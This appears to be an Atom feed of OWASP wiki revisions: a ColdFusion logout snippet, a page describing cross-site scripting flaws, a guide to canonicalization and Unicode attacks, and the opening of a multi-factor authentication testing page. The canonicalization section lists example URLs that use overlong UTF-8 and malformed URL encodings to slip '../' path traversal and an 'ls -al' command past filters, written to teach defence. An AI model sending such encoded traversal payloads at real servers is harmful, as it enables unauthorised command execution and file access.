&amp;lt;cffunction name=&amp;quot;logout&amp;quot; access=&amp;quot;remote&amp;quot; output=&amp;quot;true&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cfargument name=&amp;quot;logintype&amp;quot; type=&amp;quot;string&amp;quot; required=&amp;quot;yes&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cfif isDefined(&amp;quot;form.logout&amp;quot;)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cflogout&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cfset StructClear(Session)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cflog text=&amp;quot;#getAuthUser()# has been logged out.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
		type=&amp;quot;Information&amp;quot; &lt;br /&gt;
&lt;br /&gt;
		file=&amp;quot;access&amp;quot; &lt;br /&gt;
&lt;br /&gt;
		application=&amp;quot;yes&amp;quot;&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;cfif arguments.logintype eq &amp;quot;challenge&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cfset foo = closeBrowser()&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cfelse&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--- replace this URL to a page logged out users should see ---&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cflocation url=&amp;quot;login.cfm&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/cfif&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/cfif&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/cffunction&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Guide Table of Contents|Development Guide Table of Contents]]&lt;br /&gt;
[[Category:OWASP_Guide_Project]]&lt;br /&gt;
[[Category:Error Handling]]&lt;br /&gt;
[[Category:Logging]]&lt;br /&gt;
[[Category:OWASP Logging Project]]&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross_Site_Scripting_Flaw&amp;diff=151402</id>
		<title>Cross Site Scripting Flaw</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross_Site_Scripting_Flaw&amp;diff=151402"/>
				<updated>2013-05-12T17:07:20Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: References&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Vulnerability}}&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
Cross site Scripting (XSS) attacks are a type of injection problem, in which malicious scripts are injected into otherwise benign and trusted web sites. Cross site scripting flaws are the most prevalent flaw in web applications today. Cross site scripting attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.&lt;br /&gt;
&lt;br /&gt;
Attackers frequently use a variety of methods to encode the malicious portion of the tag, such as using Unicode, so the request is less suspicious looking to the user. There are hundreds of variants of these attacks, including versions that do not even require any &amp;lt; &amp;gt; symbols. For this reason, attempting to “filter out” these scripts is not likely to succeed. Instead we recommend validating input against a rigorous positive specification of what is expected. XSS attacks usually come in the form of embedded JavaScript. However, any embedded active content is a potential source of danger, including: ActiveX (OLE), VBscript, Shockwave, Flash and more.&lt;br /&gt;
&lt;br /&gt;
XSS issues can also be present in the underlying web and application servers as well. Most web and application servers generate simple web pages to display in the case of various errors, such as a 404 ‘page not found’ or a 500 ‘internal server error.’ If these pages reflect back any information from the user’s request, such as the URL they were trying to access, they may be vulnerable to a reflected XSS attack.&lt;br /&gt;
&lt;br /&gt;
The likelihood that a site contains XSS vulnerabilities is extremely high. There are a wide variety of ways to trick web applications into relaying malicious scripts. Developers that attempt to filter out the malicious parts of these requests are very likely to overlook possible attacks or encodings. Finding these flaws is not tremendously difficult for attackers, as all they need is a browser and some time. There are numerous free tools available that help hackers find these flaws as well as carefully craft and inject XSS attacks into a target site.&lt;br /&gt;
&lt;br /&gt;
===Environments Affected===&lt;br /&gt;
All web servers, application servers, and web application environments are susceptible to cross site scripting. &lt;br /&gt;
&lt;br /&gt;
===How to Determine If You Are Vulnerable===&lt;br /&gt;
There are three known types of cross site scripting: [[Cross-site_Scripting_(XSS)#Reflected_XSS_Attacks | reflected]], [[Cross-site_Scripting_(XSS)#Stored_XSS_Attacks | stored]], and [[DOM_Based_XSS | DOM injection]]. Reflected XSS is the easiest to exploit – a page will reflect user supplied data directly back to the user:&lt;br /&gt;
&lt;br /&gt;
echo $_REQUEST['userinput'];&lt;br /&gt;
&lt;br /&gt;
Stored XSS takes hostile data, stores it in a file, a database, or other back end system, and then at a later stage, displays the data to the user, unfiltered. This is extremely dangerous in systems such as CMS, blogs, or forums, where a large number of users will see input from other individuals.&lt;br /&gt;
&lt;br /&gt;
With DOM based XSS attacks, the site’s JavaScript code and variables are manipulated rather than HTML elements. Alternatively, attacks can be a blend or hybrid of all three types. The danger with cross site scripting is not the type of attack, but that it is possible.&lt;br /&gt;
&lt;br /&gt;
Attacks are usually implemented in JavaScript, which is a powerful scripting language. Using JavaScript allows attackers to manipulate any aspect of the rendered page, including adding new elements (such as adding a login tile which forwards credentials to a hostile site), manipulating any aspect of the internal DOM tree, and deleting or changing the way the page looks and feels. JavaScript allows the use of XmlHttpRequest, which is typically used by sites using AJAX technologies, even if victim site does not use AJAX today. &lt;br /&gt;
&lt;br /&gt;
Using XmlHttpRequest (AJAX), it is sometimes possible to get around a browser’s same source origination policy - thus forwarding victim data to hostile sites, and to create complex worms and malicious zombies that last as long as the browser stays open. AJAX attacks do not have to be visible or require user interaction to perform dangerous cross site request forgery (CSRF) attacks (see [[CSRF]]).&lt;br /&gt;
&lt;br /&gt;
XSS flaws can be difficult to identify and remove from a web application. The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output. Note that a variety of different HTML tags can be used to transmit a malicious JavaScript. Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface.&lt;br /&gt;
&lt;br /&gt;
==Prevention==&lt;br /&gt;
OWASP's recommended defenses against XSS are documented in the OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]].&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4206  &lt;br /&gt;
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3966  &lt;br /&gt;
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5204  &lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[Cross-site Scripting (XSS)]]&lt;br /&gt;
* [[Cross Site History Manipulation (XSHM)]]&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
* [[Vulnerability 1]]&lt;br /&gt;
* [[Vulnerabiltiy 2]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* [[Control 1]]&lt;br /&gt;
* [[Control 2]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
* [[Technical Impact 1]]&lt;br /&gt;
* [[Technical Impact 2]]&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet]]&lt;br /&gt;
* OWASP Guide to Building Secure Web Applications and Web Services, [[Data Validation]]&lt;br /&gt;
* OWASP Testing Guide, [[Testing for Cross site scripting]]&lt;br /&gt;
* The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml &lt;br /&gt;
* XSS Cheat Sheet: http://ha.ckers.org/xss.html&lt;br /&gt;
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html &lt;br /&gt;
* CERT &amp;quot;Understanding Malicious Content Mitigation&amp;quot; http://www.cert.org/tech_tips/malicious_code_mitigation.html &lt;br /&gt;
* Understanding the cause and effect of CSS Vulnerabilities: http://www.technicalinfo.net/papers/CSS.html &lt;br /&gt;
* [[How_to_Build_an_HTTP_Request_Validation_Engine_for_Your_J2EE_Application|How to Build an HTTP Request Validation Engine (J2EE validation with Stinger)]]&lt;br /&gt;
* XSSed - Cross-Site Scripting (XSS) Information and Mirror Archive of Vulnerable Websites http://www.xssed.com &lt;br /&gt;
* Cross-Site Scripting Security Exposure Executive Summary: http://technet.microsoft.com/en-us/library/cc750326.aspx&lt;br /&gt;
* Have Your Cake and Eat it Too (.NET validation) https://www.owasp.org/index.php/Have_Your_Cake_and_Eat_It_Too&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|add links&lt;br /&gt;
&amp;lt;nowiki&amp;gt;[[Category:Input Validation Vulnerability]]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
]]&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:Vulnerability]]&lt;br /&gt;
[[Category:Externally Linked Page]]&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Canonicalization,_locale_and_Unicode&amp;diff=151400</id>
		<title>Canonicalization, locale and Unicode</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Canonicalization,_locale_and_Unicode&amp;diff=151400"/>
				<updated>2013-05-12T16:54:20Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: Further Reading&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Guide Table of Contents|Development Guide Table of Contents]]__TOC__&lt;br /&gt;
&lt;br /&gt;
==Objective ==&lt;br /&gt;
&lt;br /&gt;
To ensure the application is robust when subjected to encoded, internationalized and Unicode input. &lt;br /&gt;
&lt;br /&gt;
==Platforms Affected ==&lt;br /&gt;
&lt;br /&gt;
All.&lt;br /&gt;
&lt;br /&gt;
==Relevant COBIT Topics ==&lt;br /&gt;
&lt;br /&gt;
DS11.9 – Data processing integrity&lt;br /&gt;
&lt;br /&gt;
==Description ==&lt;br /&gt;
&lt;br /&gt;
Applications are rarely tested for Unicode exploits, and yet many are vulnerable due to the same sort of issues which allows HTTP Request Smuggling to work – every browser, web server, web application firewall or HTTP inspection agent, and other device treats user locale handling in different (and usually confusing) manner. &lt;br /&gt;
&lt;br /&gt;
Canonicalization deals with the way in which systems convert data from one form to another. Canonical means the simplest or most standard form of something. Canonicalization is the process of converting something from one representation to the simplest form. &lt;br /&gt;
&lt;br /&gt;
Web applications have to deal with lots of canonicalization issues from URL encoding to IP address translation. When security decisions are made based on less than perfectly canonicalized data, the application itself must be able to deal with unexpected input safely. &lt;br /&gt;
&lt;br /&gt;
'''NB: To be secure against canonicalization attacks does not mean that every application has to be internationalized, but all applications should be safe when Unicode and malformed representations are entered. '''&lt;br /&gt;
&lt;br /&gt;
==Unicode ==&lt;br /&gt;
&lt;br /&gt;
Unicode Encoding is a method for storing characters with multiple bytes. Wherever input data is allowed, data can be entered using [[Unicode Encoding|Unicode]] to disguise malicious code and permit a variety of attacks. RFC 2279 references many ways that text can be encoded.&lt;br /&gt;
&lt;br /&gt;
Unicode was developed to allow a Universal Character Set (UCS) that encompasses most of the world's writing systems. Multi-octet characters, however, are not compatible with many current applications and protocols, and this has led to the development of a few UCS transformation formats (UTF) with varying characteristics. UTF-8 has the characteristic of preserving the full US-ASCII range. It is compatible with file systems, parsers and other software relying on US-ASCII values, but it is transparent to other values.&lt;br /&gt;
&lt;br /&gt;
The importance of UTF-8 representation stems from the fact that web-servers/applications perform several steps on their input of this format. The order of the steps is sometimes critical to the security of the application. Basically, the steps are &amp;quot;URL decoding&amp;quot; potentially followed by &amp;quot;UTF-8 decoding&amp;quot;, and intermingled with them are various security checks, which are also processing steps.&lt;br /&gt;
&lt;br /&gt;
If, for example, one of the security checks is searching for &amp;quot;..&amp;quot;, and it is carried out before UTF-8 decoding takes place, it is possible to inject &amp;quot;..&amp;quot; in their overlong UTF-8 format. Even if the security checks recognize some of the non-canonical format for dots, it may still be that not all formats are known to it. &lt;br /&gt;
&lt;br /&gt;
Consider the ASCII character &amp;quot;.&amp;quot; (dot). Its canonical representation is a dot (ASCII 2E). Yet if we think of it as a character in the second UTF-8 range (2 bytes), we get an overlong representation of it, as C0 AE. Likewise, there are more overlong representations: E0 80 AE, F0 80 80 AE, F8 80 80 80 AE and FC 80 80 80 80 AE.&lt;br /&gt;
&lt;br /&gt;
{| border=1&lt;br /&gt;
&lt;br /&gt;
 || UCS-4 Range || UTF-8 Encoding&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
 || ''0x00000000-0x0000007F'' || ''0xxxxxxx''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
 || ''0x00000080 - 0x000007FF'' || ''110xxxxx 10xxxxxx''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
 || ''0x00000800-0x0000FFFF'' || ''1110xxxx 10xxxxxx 10xxxxxx''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
 || ''0x00010000-0x001FFFFF'' || ''11110xxx 10xxxxxx 10xxxxxx 10xxxxxx''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
 || ''0x00200000-0x03FFFFFF'' || ''111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
 || ''0x04000000-0x7FFFFFFF'' || ''1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Consider the representation C0 AE of a &amp;quot;.&amp;quot;. Like UTF-8 encoding requires, the second octet has &amp;quot;10&amp;quot; as its two most significant bits. Now, it is possible to define 3 variants for it, by enumerating the rest of the possible 2 bit combinations (&amp;quot;00&amp;quot;, &amp;quot;01&amp;quot; and &amp;quot;11&amp;quot;). Some UTF-8 decoders would treat these variants as identical to the original symbol (they simply use the least significant 6 bits, disregarding the most significant 2 bits). Thus, the 3 variants are C0 2E, C0 5E and C0 FE.&lt;br /&gt;
&lt;br /&gt;
It is thus possible to form illegal UTF-8 encodings, in two senses:&lt;br /&gt;
&lt;br /&gt;
* A UTF-8 sequence for a given symbol may be longer than necessary for representing the symbol. &lt;br /&gt;
&lt;br /&gt;
* A UTF-8 sequence may contain octets that are in incorrect format (i.e. do not comply with the above 6 formats).&lt;br /&gt;
&lt;br /&gt;
To further &amp;quot;complicate&amp;quot; things, each representation can be sent over HTTP in several ways:&lt;br /&gt;
&lt;br /&gt;
'''In the raw'''. That is, without URL encoding at all. This usually results in sending non-ASCII octets in the path, query or body, which violates the HTTP standards. Nevertheless, most HTTP servers do get along just fine with non-ASCII characters.&lt;br /&gt;
&lt;br /&gt;
'''Valid URL encoding'''. Each non-ASCII character (more precisely, all characters that require URL encoding - a superset of non ASCII characters) is URL-encoded. This results in sending, say, %C0%AE.&lt;br /&gt;
&lt;br /&gt;
'''Invalid URL encoding'''. This is a variant of valid URL encoding, wherein some hexadecimal digits are replaced with non-hexadecimal digits, yet the result is still interpreted as identical to the original, under some decoding algorithms. For example, %C0 is interpreted as character number ('C'-'A'+10)*16+('0'-'0') = 192. Applying the same algorithm to %M0 yields ('M'-'A'+10)*16+('0'-'0') = 448, which, when forced into a single byte, yields (8 least significant bits) 192, just like the original. So, if the algorithm is willing to accept non-hexadecimal digits (such as 'M'), then it is possible to have variants for %C0 such as %M0 and %BG.&lt;br /&gt;
&lt;br /&gt;
It should be kept in mind that these techniques are not directly related to Unicode, and they can be used in non-Unicode attacks as well. &lt;br /&gt;
&lt;br /&gt;
http://www.example.com/cgi-bin/bad.cgi?foo=../../bin/ls%20-al &lt;br /&gt;
&lt;br /&gt;
URL Encoding of the example attack:&lt;br /&gt;
&lt;br /&gt;
http://www.example.com/cgi-bin/bad.cgi?foo=..%2F../bin/ls%20-al &lt;br /&gt;
&lt;br /&gt;
Unicode encoding of the example attack:&lt;br /&gt;
&lt;br /&gt;
http://www.example.com/cgi-bin/bad.cgi?foo=..%c0%af../bin/ls%20-al &lt;br /&gt;
&lt;br /&gt;
http://www.example.com/cgi-bin/bad.cgi?foo=..%c1%9c../bin/ls%20-al &lt;br /&gt;
&lt;br /&gt;
http://www.example.com/cgi-bin/bad.cgi?foo=..%c1%pc../bin/ls%20-al &lt;br /&gt;
&lt;br /&gt;
http://www.example.com/cgi-bin/bad.cgi?foo=..%c0%9v../bin/ls%20-al &lt;br /&gt;
&lt;br /&gt;
http://www.example.com/cgi-bin/bad.cgi?foo=..%c0%qf../bin/ls%20-al &lt;br /&gt;
&lt;br /&gt;
http://www.example.com/cgi-bin/bad.cgi?foo=..%c1%8s../bin/ls%20-al &lt;br /&gt;
&lt;br /&gt;
http://www.example.com/cgi-bin/bad.cgi?foo=..%c1%1c../bin/ls%20-al &lt;br /&gt;
&lt;br /&gt;
http://www.example.com/cgi-bin/bad.cgi?foo=..%c1%9c../bin/ls%20-al &lt;br /&gt;
&lt;br /&gt;
http://www.example.com/cgi-bin/bad.cgi?foo=..%c1%af../bin/ls%20-al &lt;br /&gt;
&lt;br /&gt;
http://www.example.com/cgi-bin/bad.cgi?foo=..%e0%80%af../bin/ls%20-al &lt;br /&gt;
&lt;br /&gt;
http://www.example.com/cgi-bin/bad.cgi?foo=..%f0%80%80%af../bin/ls%20-al &lt;br /&gt;
&lt;br /&gt;
http://www.example.com/cgi-bin/bad.cgi?foo=..%f8%80%80%80%af../bin/ls%20-al&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
A suitable canonical form should be chosen and all user input canonicalized into that form before any authorization decisions are performed. Security checks should be carried out after UTF-8 decoding is completed. Moreover, it is recommended to check that the UTF-8 encoding is a valid canonical encoding for the symbol it represents.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://www.ietf.org/rfc/rfc2279.txt?number=2279  &amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Input Formats ==&lt;br /&gt;
&lt;br /&gt;
Web applications usually operate internally as one of ASCII, ISO 8859-1, or Unicode (Java programs are UTF-16 example). Your users may be using another locale, and attackers can choose their locale and character set with impunity. &lt;br /&gt;
&lt;br /&gt;
===How to determine if you are vulnerable ===&lt;br /&gt;
&lt;br /&gt;
Investigate the web application to determine if it asserts an internal code page, locale, or culture.&lt;br /&gt;
&lt;br /&gt;
If the default character set, locale is not asserted it will be one of the following:&lt;br /&gt;
&lt;br /&gt;
* HTTP Posts. Interesting tidbit: All HTTP posts are required to be ISO 8859-1, which will lose data for most double byte character sets. You must test your application with your supported browsers to determine if they pass in fully encoded double byte characters safely&lt;br /&gt;
&lt;br /&gt;
* HTTP Gets. Depends on the previously rendered page and per-browser implementations, but URL encoding is not properly defined for double byte character sets. IE can be optionally forced to do all submits as UTF-8 which is then properly canonicalized on the server&lt;br /&gt;
&lt;br /&gt;
* .NET: Unicode (little endian)&lt;br /&gt;
&lt;br /&gt;
* JSP implementations, such as Tomcat: UTF8 - see “javaEncoding” in web.xml by many servlet containers&lt;br /&gt;
&lt;br /&gt;
* Java: Unicode (UTF-16, big endian, '''''or''''' depends on the OS during JVM startup)&lt;br /&gt;
&lt;br /&gt;
* PHP: Set in php.ini, ISO 8859-1. &lt;br /&gt;
&lt;br /&gt;
'''NB: Many PHP functions make (invalid) assumptions as to character set and may not work properly when changed to another character set. Test your application with the new character set thoroughly!'''&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
* Determine your application’s needs, and set both the asserted language locale and character set appropriately. &lt;br /&gt;
&lt;br /&gt;
==Locale assertion ==&lt;br /&gt;
&lt;br /&gt;
The web server should always assert a locale and preferably a country code, such as “en_US”, “fr_FR”, “zh_CN”&lt;br /&gt;
&lt;br /&gt;
===How to determine if you are vulnerable ===&lt;br /&gt;
&lt;br /&gt;
Use a HTTP header sniffer or even just telnet against your web server:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HEAD / HTTP1.0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Should display something like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
&lt;br /&gt;
Date: Sun, 24 Jul 2005 08:13:17 GMT&lt;br /&gt;
&lt;br /&gt;
Server: Apache/1.3.29&lt;br /&gt;
&lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
Content-Type: text/html;''''' charset=iso-8859-1'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
Review and implement these guidelines:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://www.w3.org/International/technique-index&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
At a minimum, select the correct output locale and character set. &lt;br /&gt;
&lt;br /&gt;
==Double (or n-) encoding ==&lt;br /&gt;
&lt;br /&gt;
Most web applications only check once to determine if the input is has been de-encoded into the correct Unicode values. However, an attacker may have doubly encoded the attack string. &lt;br /&gt;
&lt;br /&gt;
===How to determine if you are vulnerable ===&lt;br /&gt;
&lt;br /&gt;
* Use XSS Cheat Sheet double encoder utility to double encode a XSS string&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://ha.ckers.org/xss.html&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* If the resultant injection is a successful XSS output, then your application is vulnerable&lt;br /&gt;
&lt;br /&gt;
* This attack may also work against:&lt;br /&gt;
&lt;br /&gt;
# Filenames&lt;br /&gt;
# Non-obvious items like report types, and language selectors&lt;br /&gt;
# Theme names&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
* Assert the correct locale and character set for your application&lt;br /&gt;
&lt;br /&gt;
* Use HTML entities, URL encoding, and so on to prevent Unicode characters being treated improperly by the many divergent browser, server, and application combinations&lt;br /&gt;
&lt;br /&gt;
* Test your code and overall solution extensively&lt;br /&gt;
&lt;br /&gt;
==HTTP Request Smuggling ==&lt;br /&gt;
&lt;br /&gt;
[[HTTP Request Smuggling]] (HRS) is an issue detailed in depth by Klein, Linhart, Heled, and Orrin in a whitepaper found in the references section. The basics of HTTP Request Smuggling is that many larger solutions use many components to provide a web application. The differences between the firewall, web application firewall, load balancers, SSL accelerators, reverse proxies, and web servers allow a specially crafted attack to bypass all the controls in the front-end systems and directly attack the web server. &lt;br /&gt;
&lt;br /&gt;
The types of attack they describe are:&lt;br /&gt;
&lt;br /&gt;
* Web cache poisoning&lt;br /&gt;
&lt;br /&gt;
* Firewall/IDS/IPS evasion&lt;br /&gt;
&lt;br /&gt;
* Forward and backward HRS techniques&lt;br /&gt;
&lt;br /&gt;
* Request hijacking&lt;br /&gt;
&lt;br /&gt;
* Request credential hijacking&lt;br /&gt;
&lt;br /&gt;
Since the whitepaper, several examples of real life HRS have been discovered. &lt;br /&gt;
&lt;br /&gt;
===How to determine if you are vulnerable ===&lt;br /&gt;
&lt;br /&gt;
* Review the whitepaper&lt;br /&gt;
&lt;br /&gt;
* Review your infrastructure for vulnerable components&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
* Minimize the total number of components that may interpret the inbound HTTP request&lt;br /&gt;
&lt;br /&gt;
* Keep your infrastructure up to date with patches&lt;br /&gt;
&lt;br /&gt;
==Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* IDS Evasion using Unicode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://online.securityfocus.com/print/infocus/1232&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* W3C Internationalization Home Page&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://www.w3.org/International/&amp;lt;/u&amp;gt; &lt;br /&gt;
&lt;br /&gt;
* HTTP Request Smuggling&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://www.cgisecurity.com/lib/http-request-smuggling.pdf&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* XSS Cheat Sheet&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://ha.ckers.org/xss.html&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Guide Table of Contents|Development Guide Table of Contents]]&lt;br /&gt;
[[Category:OWASP_Guide_Project]]&lt;br /&gt;
[[Category:Canonicalization]]&lt;br /&gt;
[[Category:Encoding]]&lt;br /&gt;
[[Category:Externally Linked Page]]&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_Multiple_Factors_Authentication_(OWASP-AT-009)&amp;diff=151398</id>
		<title>Testing Multiple Factors Authentication (OWASP-AT-009)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_Multiple_Factors_Authentication_(OWASP-AT-009)&amp;diff=151398"/>
				<updated>2013-05-12T16:45:00Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: References&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Evaluating the strength of a “Multiple Factors Authentication System” (MFAS) is a critical task for the Penetration tester.  Banks and other financial institutions are going to spend considerable amounts of money on expensive MFAS; therefore performing accurate tests before the adoption of a particular solution is absolutely suggested. In addition, a further responsibility of the Penetration Testers is to acknowledge if the currently adopted MFAS is effectively able to defend the organization assets from the threats that generally drive the adoption of a MFAS.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
Generally, the aim of a two factor authentication system is to enhance the strength of the authentication process [1]. This goal is achieved by checking an additional factor, or “something you have” as well as “something you know”, making sure that the user holds a hardware device of some kind in addition to the password. The hardware device provided  to the user may be able to communicate directly and independently  with the authentication infrastructure using an additional communication channel; this particular feature is something known as “separation of channels”.&lt;br /&gt;
&lt;br /&gt;
Bruce Schneier in 2005 observed that some years ago “the threats were all passive: eavesdropping and offline password guessing. Today, the threats are more active: phishing and Trojan horses” [2]. Actually the common threats that a MFAS in a Web environment should correctly address include:&lt;br /&gt;
&lt;br /&gt;
# Credential Theft (Phishing, Eavesdropping, MITM e.g. Banking from compromised network)&lt;br /&gt;
# Weak Credentials (Credentials Password guessing and Password Bruteforcing attacks)&lt;br /&gt;
# Session based attacks (Session Riding, Session Fixation)&lt;br /&gt;
# Trojan and Malware attacks (Banking from compromised clients)&lt;br /&gt;
# Password Reuse (Using the same password for different purposes or operations, e.g. different transactions)&lt;br /&gt;
&lt;br /&gt;
The optimal solution should be able to address all the possible attacks related to the 5 categories above. &lt;br /&gt;
Since the strength of an authentication solution is generally classified depending on how many “authentication factors” are checked when the user gets in touch with the computing system, the typical IT professional’s advise is: “If you are not happy with your current authentication solution, just add another authentication factor and it will be all right”. [3] Unfortunately, as we will see in the next paragraphs, the risk associated with attacks performed by motivated attackers cannot be totally eliminated; in addition some MFAS solutions are more flexible and secure compared to the others.&lt;br /&gt;
&lt;br /&gt;
Considering the ''5-Threats (5T)'' above we could analyze the strength of a particular MFAS solution, since the solution may be able to ''Address'', ''Mitigate''  or ''Not Remediate'' that particular Web Attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
A minimum amount of information about the authentication schema in use is necessary for testing the security of the MFAS solution in place. This is the main reason why the “Black Box Testing” section has been omitted. In particular, a general knowledge about the whole authentication infrastructure is important because:&lt;br /&gt;
* MFAS solutions are principally implemented to authenticate disposal operations.  Disposal actions are supposed to be performed in the inner parts of the secure website. &lt;br /&gt;
* Attacks carried out successfully against MFAS are performed with a high degree of control over what is happening. This statement is usually true because attackers can “grab” detailed information about a particular authentication infrastructure by harvesting any data they can intercept through Malware attacks. Assuming that an attacker must be a customer to know how the authentication of a banking website works is not always correct; the attackers just need to get control of a single customer to study the entire security infrastructure of a particular website (Authors of SilentBanker Trojan [4] are known for continuously collecting information about visited websites while infected users  browse the internet. Another example is the attack performed against the Swedish Nordea bank in 2005 [5]).&lt;br /&gt;
&lt;br /&gt;
The following examples are about a security evaluation of different MFAS, based upon the ''5T'' model presented above.&lt;br /&gt;
&lt;br /&gt;
